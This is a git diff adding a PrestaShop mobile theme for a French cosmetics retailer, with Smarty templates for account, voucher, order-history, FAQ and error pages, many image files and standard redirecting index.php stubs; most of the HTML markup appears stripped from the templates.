        \ No newline at end of file diff --git a/themes/default/mobile/discount.tpl b/themes/default/mobile/discount.tpl new file mode 100755 index 0000000..a161d59 --- /dev/null +++ b/themes/default/mobile/discount.tpl @@ -0,0 +1,86 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture assign='page_title'}{l s='My vouchers'}{/capture} +{include file='./page-title.tpl'} + +
        + {l s='My account'} + + {if isset($discount) && count($discount) && $nbDiscounts} + + + + + + + + + + + + + + {foreach from=$discount item=discountDetail name=myLoop} + + + + + + + + + + {/foreach} + +
        {l s='Code'}{l s='Description'}{l s='Quantity'}{l s='Value'}*{l s='Minimum'}{l s='Cumulative'}{l s='Expiration date'}
        {$discountDetail.name}{$discountDetail.description}{$discountDetail.quantity_for_user} + {if $discountDetail.id_discount_type == 1} + {$discountDetail.value|escape:'htmlall':'UTF-8'}% + {elseif $discountDetail.id_discount_type == 2} + {convertPrice price=$discountDetail.value} + {else} + {l s='Free shipping'} + {/if} + + {if $discountDetail.minimal == 0} + {l s='None'} + {else} + {convertPrice price=$discountDetail.minimal} + {/if} + + {if $discountDetail.cumulable == 1} + {l s='Yes'} {l s='Yes'} + {else} + {l s='No'} {l s='No'} + {/if} + {dateFormat date=$discountDetail.date_to}
        +

        + *{l s='Tax included'} +

        + {else} +

        {l s='You do not have any vouchers.'}

        + {/if} + +
        diff --git a/themes/default/mobile/errors.tpl b/themes/default/mobile/errors.tpl new file mode 100755 index 0000000..171ba2d --- /dev/null +++ b/themes/default/mobile/errors.tpl @@ -0,0 +1,64 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($errors) && $errors} + + {if $cookie->id_lang == 1} + + {else} + + {/if} + + +{/if} diff --git a/themes/default/mobile/errors_.tpl b/themes/default/mobile/errors_.tpl new file mode 100755 index 0000000..7127f7f --- /dev/null +++ b/themes/default/mobile/errors_.tpl @@ -0,0 +1,57 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +{if isset($errors) && $errors} + +{/if} diff --git a/themes/default/mobile/espacepharmaciens.tpl b/themes/default/mobile/espacepharmaciens.tpl new file mode 100755 index 0000000..9985c4f --- /dev/null +++ b/themes/default/mobile/espacepharmaciens.tpl @@ -0,0 +1,23 @@ +{capture name=path}{l s='Espace pharmaciens'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        +

        [{l s='Espace pharmaciens'}]

        +
        +
        +
        +

        {l s='Pharmaciens,'}
        {l s='vous pourrez bientôt accéder'}
        {l s='à votre espace dédié.'}

        +

        {l s='Soyez le premier informé en remplissant les champs ci-dessous'}

        +

        + +

        +

        + +

        +

        + +

        +
        +
        +
        +
        +
        diff --git a/themes/default/mobile/faq.tpl b/themes/default/mobile/faq.tpl new file mode 100755 index 0000000..62ed327 --- /dev/null +++ b/themes/default/mobile/faq.tpl @@ -0,0 +1,90 @@ +{capture name=path}{l s='F A Q'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +
        + {foreach from=$generationFAQ item=faqParent} + {if $faqParent.children|@count>0 || $faqParent.items|@count>0} +

        [{$faqParent.title}]

        + {if $faqParent.items|@count>0} +
        + {foreach from=$faqParent.items item=faqItem} +
        +

        {$faqItem.title}

        + +
        + {/foreach} +
        + {/if} + {if $faqParent.children|@count>0} +
        + {foreach from=$faqParent.children item=faqChild} +
        +

        {$faqChild.title}

        + +
        + {/foreach} +
        + {/if} + {/if} + {/foreach} +
        + + + {* +
        +

        [Questions générales]

        +
        +

        Est-ce que je peux me démaquiller avec Pscitt Magique Nouvelle Peau ?

        + +
        +

        [Questions produits]

        +
        +

        Pschitt Magique

        + +
        +
        +

        Pschitt Magique 2

        + +
        +
        + *} \ No newline at end of file diff --git a/themes/default/mobile/footer.tpl b/themes/default/mobile/footer.tpl new file mode 100755 index 0000000..12e1d6e --- /dev/null +++ b/themes/default/mobile/footer.tpl @@ -0,0 +1,127 @@ +
        + +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +
        + + diff --git a/themes/default/mobile/header.tpl b/themes/default/mobile/header.tpl new file mode 100755 index 0000000..d1a494c --- /dev/null +++ b/themes/default/mobile/header.tpl @@ -0,0 +1,130 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + + {$meta_title|escape:'htmlall':'UTF-8'} + + {**} +{if isset($meta_description) AND $meta_description} + +{/if} +{if isset($meta_keywords) AND $meta_keywords} + +{/if} + + + + + + + +{if isset($css_files)} + {foreach from=$css_files key=css_uri item=media} + + {/foreach} +{/if} + + +{if isset($js_files)} + {foreach from=$js_files item=js_uri} + + {/foreach} +{/if} + + + + + {$HOOK_MOBILE_HEADER} + + + + + + + +
        + +
        + +
        + + \ No newline at end of file diff --git a/themes/default/mobile/history.tpl b/themes/default/mobile/history.tpl new file mode 100755 index 0000000..e0a4394 --- /dev/null +++ b/themes/default/mobile/history.tpl @@ -0,0 +1,74 @@ + + +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Historique des commandes'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} +{include file="$tpl_dir./errors.tpl"} +
        +

        [{l s='Historique des commandes'}]

        + +{if $slowValidation}

        {l s='If you have just placed an order, it may take a few minutes for it to be validated. Please refresh this page if your order is missing.'}

        {/if} + +
        + {if $orders && count($orders)} + + + + + + + + + + + + + {foreach from=$orders item=order name=myLoop} + + + + + + + + + {/foreach} + +
        {l s='Order reference'}{l s='Date'}{l s='Total price'}{l s='Payment: '}{l s='Status'}{l s='Invoice'}
        {dateFormat date=$order.date_add full=0}{displayPrice price=$order.total_paid currency=$order.id_currency no_utf8=false convert=false}{$order.payment|escape:'htmlall':'UTF-8'}{if isset($order.order_state)}{$order.order_state|escape:'htmlall':'UTF-8'}{/if} + {if (isset($order.invoice) && $order.invoice && isset($order.invoice_number) && $order.invoice_number) && isset($invoiceAllowed) && $invoiceAllowed == true} + {l s='Invoice'} + {else}- - -{/if} +
        + + {else} +

        {l s='You have not placed any orders.'}

        + {/if} +
        +
        \ No newline at end of file diff --git a/themes/default/mobile/identity.tpl b/themes/default/mobile/identity.tpl new file mode 100755 index 0000000..63c86db --- /dev/null +++ b/themes/default/mobile/identity.tpl @@ -0,0 +1,136 @@ + +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{capture name=path}{l s='My account'}{$navigationPipe}{l s='Mes informations personnelles'}{/capture} +{include file="$tpl_dir./breadcrumb.tpl"} + +
        +

        [{l s='Mes informations personnelles'}]

        + +{include file="$tpl_dir./errors.tpl"} + +{if isset($confirmation) && $confirmation} +

        + {l s='Your personal information has been successfully updated.'} + {if isset($pwd_changed)}
        {l s='Your password has been sent to your email:'} {$email}{/if} +

        +{/if} + +
        +
        +
        + {foreach from=$genders key=k item=gender} + {if $gender->id==2}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==3}id} checked="checked"{/if} /> + {/if} + {/foreach} + {foreach from=$genders key=k item=gender} + {if $gender->id==1}id} checked="checked"{/if} /> + {/if} + {/foreach} +
        +
        + + +
        +
        + + +
        +
        + + + +
        {l s='Si vous voulez modifier votre date de naissance, contactez-nous au 01.45.20.73.65'} +
        +
        +
        +

        {l s='Modifier mon mot de passe'}

        +
        + + +
        +
        + + +
        +
        + + +
        + +

        {l s='Modifier mon email'}

        +
        + + {$smarty.post.email} + +
        +
        + + +
        +
        + + +
        +
        +
        +

        {l s='Modifier mon abonnement à la newsletter'}

        +
        {l s='Je souhaites recevoir la newsletter, les offres promotionnelles et les'}
        {l s='avant-première du Laboratoire Garancia'}
        + {if $newsletter} +
        + + +
        + {/if} +

        {l s='Les informations personnelles vous concernant et collectées dans le cadre du présent site internet sont destinées au Laboratoire Garancia afin de vous fournir les services souscrits. Ces données seront également stockées par le Laboratoire Garancia pour lui permettre de vous adresser des offres commerciales sur ses produits et services, ainsi que pour vous faire profiter du programme de fidélité du Laboratoire Garancia.'}
        {l s='Conformément à la loi Informatiques et Libertés du 6 janvier 1978, vous bénéficiez d\'un droit d\'accès, de rectification et de suppression des données personnelles qui vous concernent. Vous pouvez exercer ces droits en nous écrivant par mail ou à l\'adresse suivante: Laboratoire Garancia, 18 Avenue du Recteur Poincaré – 75016 PARIS, à laquelle vous pouvez également exercer votre droit d\'opposition à recevoir des offres commerciales. Ce droit vous sera également offert à la réception de tout message.'}

        +
        + +
        + +
        +
        +
        diff --git a/themes/default/mobile/img/EchantillonTitreProduit.png b/themes/default/mobile/img/EchantillonTitreProduit.png new file mode 100755 index 0000000..d30474d Binary files /dev/null and b/themes/default/mobile/img/EchantillonTitreProduit.png differ diff --git a/themes/default/mobile/img/ajax-loader.gif b/themes/default/mobile/img/ajax-loader.gif new file mode 100755 index 0000000..fd1a189 Binary files /dev/null and b/themes/default/mobile/img/ajax-loader.gif differ diff --git a/themes/default/mobile/img/ajax-loader.png b/themes/default/mobile/img/ajax-loader.png new file mode 100755 index 0000000..13b208d Binary files /dev/null and b/themes/default/mobile/img/ajax-loader.png differ diff --git a/themes/default/mobile/img/bgEspacepharmaciens.jpg b/themes/default/mobile/img/bgEspacepharmaciens.jpg new file mode 100755 index 0000000..9cbbc7b Binary files /dev/null and b/themes/default/mobile/img/bgEspacepharmaciens.jpg differ diff --git a/themes/default/mobile/img/bg_maintenance.png b/themes/default/mobile/img/bg_maintenance.png new file mode 100755 index 0000000..f95c88e Binary files /dev/null and b/themes/default/mobile/img/bg_maintenance.png differ diff --git a/themes/default/mobile/img/blocPhilosophie.png b/themes/default/mobile/img/blocPhilosophie.png new file mode 100755 index 0000000..bc02ccc Binary files /dev/null and b/themes/default/mobile/img/blocPhilosophie.png differ diff --git a/themes/default/mobile/img/btPaypal_mobile.png b/themes/default/mobile/img/btPaypal_mobile.png new file mode 100755 index 0000000..6d1d7b0 Binary files /dev/null and b/themes/default/mobile/img/btPaypal_mobile.png differ diff --git a/themes/default/mobile/img/button247.png b/themes/default/mobile/img/button247.png new file mode 100755 index 0000000..b41cd38 Binary files /dev/null and b/themes/default/mobile/img/button247.png differ diff --git a/themes/default/mobile/img/checkbox_no.jpg b/themes/default/mobile/img/checkbox_no.jpg new file mode 100755 index 0000000..aab39d1 Binary files /dev/null and b/themes/default/mobile/img/checkbox_no.jpg differ diff --git a/themes/default/mobile/img/checkbox_off.png b/themes/default/mobile/img/checkbox_off.png new file mode 100755 index 0000000..f0bb30f Binary files /dev/null and b/themes/default/mobile/img/checkbox_off.png differ diff --git a/themes/default/mobile/img/checkbox_ok.jpg b/themes/default/mobile/img/checkbox_ok.jpg new file mode 100755 index 0000000..0a30de6 Binary files /dev/null and b/themes/default/mobile/img/checkbox_ok.jpg differ diff --git a/themes/default/mobile/img/checkbox_on.png b/themes/default/mobile/img/checkbox_on.png new file mode 100755 index 0000000..5830079 Binary files /dev/null and b/themes/default/mobile/img/checkbox_on.png differ diff --git a/themes/default/mobile/img/diagFlecheSmall.png b/themes/default/mobile/img/diagFlecheSmall.png new file mode 100755 index 0000000..1179a72 Binary files /dev/null and b/themes/default/mobile/img/diagFlecheSmall.png differ diff --git a/themes/default/mobile/img/diagnosticSteps.png b/themes/default/mobile/img/diagnosticSteps.png new file mode 100755 index 0000000..5e57fef Binary files /dev/null and b/themes/default/mobile/img/diagnosticSteps.png differ diff --git a/themes/default/mobile/img/etoileLi.png b/themes/default/mobile/img/etoileLi.png new file mode 100755 index 0000000..0154900 Binary files /dev/null and b/themes/default/mobile/img/etoileLi.png differ diff --git a/themes/default/mobile/img/fancyboxClose.png b/themes/default/mobile/img/fancyboxClose.png new file mode 100755 index 0000000..82339dd Binary files /dev/null and b/themes/default/mobile/img/fancyboxClose.png differ diff --git a/themes/default/mobile/img/flecheMobileSelect.png b/themes/default/mobile/img/flecheMobileSelect.png new file mode 100755 index 0000000..7059914 Binary files /dev/null and b/themes/default/mobile/img/flecheMobileSelect.png differ diff --git a/themes/default/mobile/img/flecheMyAccount.png b/themes/default/mobile/img/flecheMyAccount.png new file mode 100755 index 0000000..177bbb9 Binary files /dev/null and b/themes/default/mobile/img/flecheMyAccount.png differ diff --git a/themes/default/mobile/img/flecheSubmit.png b/themes/default/mobile/img/flecheSubmit.png new file mode 100755 index 0000000..ef3ad6a Binary files /dev/null and b/themes/default/mobile/img/flecheSubmit.png differ diff --git a/themes/default/mobile/img/fleche_left.png b/themes/default/mobile/img/fleche_left.png new file mode 100755 index 0000000..4c044b5 Binary files /dev/null and b/themes/default/mobile/img/fleche_left.png differ diff --git a/themes/default/mobile/img/fleche_plus.png b/themes/default/mobile/img/fleche_plus.png new file mode 100755 index 0000000..53e127b Binary files /dev/null and b/themes/default/mobile/img/fleche_plus.png differ diff --git a/themes/default/mobile/img/fnodH3.png b/themes/default/mobile/img/fnodH3.png new file mode 100755 index 0000000..b0df65c Binary files /dev/null and b/themes/default/mobile/img/fnodH3.png differ diff --git a/themes/default/mobile/img/fondH3.jpg b/themes/default/mobile/img/fondH3.jpg new file mode 100755 index 0000000..cba9790 Binary files /dev/null and b/themes/default/mobile/img/fondH3.jpg differ diff --git a/themes/default/mobile/img/fondH3.png b/themes/default/mobile/img/fondH3.png new file mode 100755 index 0000000..715f220 Binary files /dev/null and b/themes/default/mobile/img/fondH3.png differ diff --git a/themes/default/mobile/img/footerPharmacie.png b/themes/default/mobile/img/footerPharmacie.png new file mode 100755 index 0000000..cfb65a6 Binary files /dev/null and b/themes/default/mobile/img/footerPharmacie.png differ diff --git a/themes/default/mobile/img/footerSocial.png b/themes/default/mobile/img/footerSocial.png new file mode 100755 index 0000000..8cd3e29 Binary files /dev/null and b/themes/default/mobile/img/footerSocial.png differ diff --git a/themes/default/mobile/img/footerSpacer.png b/themes/default/mobile/img/footerSpacer.png new file mode 100755 index 0000000..12c2881 Binary files /dev/null and b/themes/default/mobile/img/footerSpacer.png differ diff --git a/themes/default/mobile/img/headerInfosMobile.png b/themes/default/mobile/img/headerInfosMobile.png new file mode 100755 index 0000000..2cf099b Binary files /dev/null and b/themes/default/mobile/img/headerInfosMobile.png differ diff --git a/themes/default/mobile/img/homeTxt.png b/themes/default/mobile/img/homeTxt.png new file mode 100755 index 0000000..0a992e0 Binary files /dev/null and b/themes/default/mobile/img/homeTxt.png differ diff --git a/themes/default/mobile/img/homeTxtA.png b/themes/default/mobile/img/homeTxtA.png new file mode 100755 index 0000000..f59a739 Binary files /dev/null and b/themes/default/mobile/img/homeTxtA.png differ diff --git a/themes/default/mobile/img/homeblock2.png b/themes/default/mobile/img/homeblock2.png new file mode 100755 index 0000000..52dbf7b Binary files /dev/null and b/themes/default/mobile/img/homeblock2.png differ diff --git a/themes/default/mobile/img/homeblockFleche1.png b/themes/default/mobile/img/homeblockFleche1.png new file mode 100755 index 0000000..4774915 Binary files /dev/null and b/themes/default/mobile/img/homeblockFleche1.png differ diff --git a/themes/default/mobile/img/homeblockFleche2.png b/themes/default/mobile/img/homeblockFleche2.png new file mode 100755 index 0000000..470bd3b Binary files /dev/null and b/themes/default/mobile/img/homeblockFleche2.png differ diff --git a/themes/default/mobile/img/hook_paiement_module.png b/themes/default/mobile/img/hook_paiement_module.png new file mode 100755 index 0000000..da2974b Binary files /dev/null and b/themes/default/mobile/img/hook_paiement_module.png differ diff --git a/themes/default/mobile/img/icon/addrbook.png b/themes/default/mobile/img/icon/addrbook.png new file mode 100755 index 0000000..b97ef76 Binary files /dev/null and b/themes/default/mobile/img/icon/addrbook.png differ diff --git a/themes/default/mobile/img/icon/favorite.png b/themes/default/mobile/img/icon/favorite.png new file mode 100755 index 0000000..fc648f2 Binary files /dev/null and b/themes/default/mobile/img/icon/favorite.png differ diff --git a/themes/default/mobile/img/icon/gift.png b/themes/default/mobile/img/icon/gift.png new file mode 100755 index 0000000..e50d855 Binary files /dev/null and b/themes/default/mobile/img/icon/gift.png differ diff --git a/themes/default/mobile/img/icon/home.png b/themes/default/mobile/img/icon/home.png new file mode 100755 index 0000000..f8e824a Binary files /dev/null and b/themes/default/mobile/img/icon/home.png differ diff --git a/themes/default/mobile/img/icon/index.php b/themes/default/mobile/img/icon/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/mobile/img/icon/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/mobile/img/icon/my-account.png b/themes/default/mobile/img/icon/my-account.png new file mode 100755 index 0000000..d09cce6 Binary files /dev/null and b/themes/default/mobile/img/icon/my-account.png differ diff --git a/themes/default/mobile/img/icon/order.png b/themes/default/mobile/img/icon/order.png new file mode 100755 index 0000000..a5ff19c Binary files /dev/null and b/themes/default/mobile/img/icon/order.png differ diff --git a/themes/default/mobile/img/icon/return.png b/themes/default/mobile/img/icon/return.png new file mode 100755 index 0000000..97c055a Binary files /dev/null and b/themes/default/mobile/img/icon/return.png differ diff --git a/themes/default/mobile/img/icon/slip.png b/themes/default/mobile/img/icon/slip.png new file mode 100755 index 0000000..b9cbacd Binary files /dev/null and b/themes/default/mobile/img/icon/slip.png differ diff --git a/themes/default/mobile/img/icon/userinfos.png b/themes/default/mobile/img/icon/userinfos.png new file mode 100755 index 0000000..a9f7a03 Binary files /dev/null and b/themes/default/mobile/img/icon/userinfos.png differ diff --git a/themes/default/mobile/img/icon/voucher.png b/themes/default/mobile/img/icon/voucher.png new file mode 100755 index 0000000..6ba16db Binary files /dev/null and b/themes/default/mobile/img/icon/voucher.png differ diff --git a/themes/default/mobile/img/icons-18-black.png b/themes/default/mobile/img/icons-18-black.png new file mode 100755 index 0000000..ce1b758 Binary files /dev/null and b/themes/default/mobile/img/icons-18-black.png differ diff --git a/themes/default/mobile/img/icons-18-white.png b/themes/default/mobile/img/icons-18-white.png new file mode 100755 index 0000000..1ab0127 Binary files /dev/null and b/themes/default/mobile/img/icons-18-white.png differ diff --git a/themes/default/mobile/img/icons-36-black.png b/themes/default/mobile/img/icons-36-black.png new file mode 100755 index 0000000..1a59d7c Binary files /dev/null and b/themes/default/mobile/img/icons-36-black.png differ diff --git a/themes/default/mobile/img/icons-36-white.png b/themes/default/mobile/img/icons-36-white.png new file mode 100755 index 0000000..5647bdc Binary files /dev/null and b/themes/default/mobile/img/icons-36-white.png differ diff --git a/themes/default/mobile/img/img_cart.png b/themes/default/mobile/img/img_cart.png new file mode 100755 index 0000000..2d1235c Binary files /dev/null and b/themes/default/mobile/img/img_cart.png differ diff --git a/themes/default/mobile/img/imprimerDiag.png b/themes/default/mobile/img/imprimerDiag.png new file mode 100755 index 0000000..623208c Binary files /dev/null and b/themes/default/mobile/img/imprimerDiag.png differ diff --git a/themes/default/mobile/img/index.php b/themes/default/mobile/img/index.php new file mode 100755 index 0000000..52b4e5c --- /dev/null +++ b/themes/default/mobile/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/themes/default/mobile/img/inputMagasin.png b/themes/default/mobile/img/inputMagasin.png new file mode 100755 index 0000000..f686490 Binary files /dev/null and b/themes/default/mobile/img/inputMagasin.png differ diff --git a/themes/default/mobile/img/inputText236.png b/themes/default/mobile/img/inputText236.png new file mode 100755 index 0000000..d82b874 Binary files /dev/null and b/themes/default/mobile/img/inputText236.png differ diff --git a/themes/default/mobile/img/inputText388.jpg b/themes/default/mobile/img/inputText388.jpg new file mode 100755 index 0000000..f0bb12b Binary files /dev/null and b/themes/default/mobile/img/inputText388.jpg differ diff --git a/themes/default/mobile/img/inputText388.png b/themes/default/mobile/img/inputText388.png new file mode 100755 index 0000000..7d099a9 Binary files /dev/null and b/themes/default/mobile/img/inputText388.png differ diff --git a/themes/default/mobile/img/logo.png b/themes/default/mobile/img/logo.png new file mode 100755 index 0000000..fa42593 Binary files /dev/null and b/themes/default/mobile/img/logo.png differ diff --git a/themes/default/mobile/img/logoMobile.png b/themes/default/mobile/img/logoMobile.png new file mode 100755 index 0000000..110999e Binary files /dev/null and b/themes/default/mobile/img/logoMobile.png differ diff --git a/themes/default/mobile/img/mailDiag.png b/themes/default/mobile/img/mailDiag.png new file mode 100755 index 0000000..43937c3 Binary files /dev/null and b/themes/default/mobile/img/mailDiag.png differ diff --git a/themes/default/mobile/img/moreless.png b/themes/default/mobile/img/moreless.png new file mode 100755 index 0000000..9a8088f Binary files /dev/null and b/themes/default/mobile/img/moreless.png differ diff --git a/themes/default/mobile/img/opcSteps.png b/themes/default/mobile/img/opcSteps.png new file mode 100755 index 0000000..3b19e23 Binary files /dev/null and b/themes/default/mobile/img/opcSteps.png differ diff --git a/themes/default/mobile/img/paiements_securises.png b/themes/default/mobile/img/paiements_securises.png new file mode 100755 index 0000000..efb846b Binary files /dev/null and b/themes/default/mobile/img/paiements_securises.png differ diff --git a/themes/default/mobile/img/productFlecheVerte.png b/themes/default/mobile/img/productFlecheVerte.png new file mode 100755 index 0000000..80e4888 Binary files /dev/null and b/themes/default/mobile/img/productFlecheVerte.png differ diff --git a/themes/default/mobile/img/px-ccc.gif b/themes/default/mobile/img/px-ccc.gif new file mode 100755 index 0000000..da70aaf Binary files /dev/null and b/themes/default/mobile/img/px-ccc.gif differ diff --git a/themes/default/mobile/img/qtyWanted.jpg b/themes/default/mobile/img/qtyWanted.jpg new file mode 100755 index 0000000..12f00fa Binary files /dev/null and b/themes/default/mobile/img/qtyWanted.jpg differ diff --git a/themes/default/mobile/img/radio_off.jpg b/themes/default/mobile/img/radio_off.jpg new file mode 100755 index 0000000..02b240e Binary files /dev/null and b/themes/default/mobile/img/radio_off.jpg differ diff --git a/themes/default/mobile/img/radio_off.png b/themes/default/mobile/img/radio_off.png new file mode 100755 index 0000000..c1f12cc Binary files /dev/null and b/themes/default/mobile/img/radio_off.png differ diff --git a/themes/default/mobile/img/radio_on.jpg b/themes/default/mobile/img/radio_on.jpg new file mode 100755 index 0000000..5c47caa Binary files /dev/null and b/themes/default/mobile/img/radio_on.jpg differ diff --git a/themes/default/mobile/img/radio_on.png b/themes/default/mobile/img/radio_on.png new file mode 100755 index 0000000..7294621 Binary files /dev/null and b/themes/default/mobile/img/radio_on.png differ diff --git a/themes/default/mobile/img/slider_home.png b/themes/default/mobile/img/slider_home.png new file mode 100755 index 0000000..82ca6df Binary files /dev/null and b/themes/default/mobile/img/slider_home.png differ diff --git a/themes/default/mobile/img/sprite_social.png b/themes/default/mobile/img/sprite_social.png new file mode 100755 index 0000000..6c6a3e9 Binary files /dev/null and b/themes/default/mobile/img/sprite_social.png differ diff --git a/themes/default/mobile/img/step1.png b/themes/default/mobile/img/step1.png new file mode 100755 index 0000000..d8842aa Binary files /dev/null and b/themes/default/mobile/img/step1.png differ diff --git a/themes/default/mobile/img/step2.png b/themes/default/mobile/img/step2.png new file mode 100755 index 0000000..63e7bba Binary files /dev/null and b/themes/default/mobile/img/step2.png differ diff --git a/themes/default/mobile/img/step3.png b/themes/default/mobile/img/step3.png new file mode 100755 index 0000000..c050aeb Binary files /dev/null and b/themes/default/mobile/img/step3.png differ diff --git a/themes/default/mobile/img/textarea388.jpg b/themes/default/mobile/img/textarea388.jpg new file mode 100755 index 0000000..4addbd5 Binary files /dev/null and b/themes/default/mobile/img/textarea388.jpg differ diff --git a/themes/default/mobile/index.php b/themes/default/mobile/index.php new file mode 100755 index 0000000..fd6bae0 --- /dev/null +++ b/themes/default/mobile/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); + +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); + +header('Location: ../../../'); +exit; \ No newline at end of file diff --git a/themes/default/mobile/index.tpl b/themes/default/mobile/index.tpl new file mode 100755 index 0000000..ff20c52 --- /dev/null +++ b/themes/default/mobile/index.tpl @@ -0,0 +1,27 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License 